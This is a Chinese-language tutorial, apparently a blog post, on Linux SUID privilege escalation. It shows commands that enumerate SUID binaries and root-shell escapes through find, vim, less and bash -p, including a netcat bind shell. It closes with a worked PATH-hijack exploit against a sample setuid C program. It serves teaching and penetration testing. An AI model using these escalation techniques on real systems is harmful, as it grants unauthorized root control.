SUID提权

原理

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
  • -perm 使用文件权限模式查找
  • -user 按照属主查找
  • -type 文件类型
  • -d 仅显示目录名,而不显示目录下的内容列表。显示符号链接文件本身,而不显示其所指向的目录列表
  • -b 将文件中的不可输出的字符以反斜线“”加字符编码的方式输出
  • -exec 后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。{}花括号代表前面find查找出来的文件名。

常见命令

find命令

实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

find filename -exec netcat -lvp 5555 -e /bin/sh \;

nc连接该端口可以得到一个root shell

vim

vim如果SUID运行也可以得到root权限

1
2
3
4
vim
# Press ESC key
:set shell=/bin/sh
:shell

bash -p

该命令将以root身份打开一个bash shell

less命令

1
2
less /etc/passwd
!/bin/sh

简单测试

先模拟root用户创建一个具有SUID权限的程序,代码如下:

1
2
3
4
5
6
7
8
9
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0);
setgid(0);
system("ps");
return 0;
}

该程序调用系统的ps命令

查看权限

1

具体操作

1
2
3
4
5
6
7
$ find . -perm -u=s -type f 2>/dev/null # 在当前目录下查找具有SUID权限的可执行文件
$ echo "/bin/bash" > ps # 在当前目录下生成一个内容为 /bin/bash 的ps文件
$ chmod 777 ps # 给它可执行权限
$ echo $PATH # 查看当前环境变量
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=.:$PATH # 将当前路径添加到环境变量中
$ ./exp # 执行具有SUID权限程序

可以看到从普通用户切换到root用户了

2

关键点

利用关键在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录(.)

但是即使找到了具有SUID权限的文件,没法切换成setuid,也无法提权

参考:
https://www.anquanke.com/post/id/86979
https://mochazz.github.io
https://xz.aliyun.com/t/2767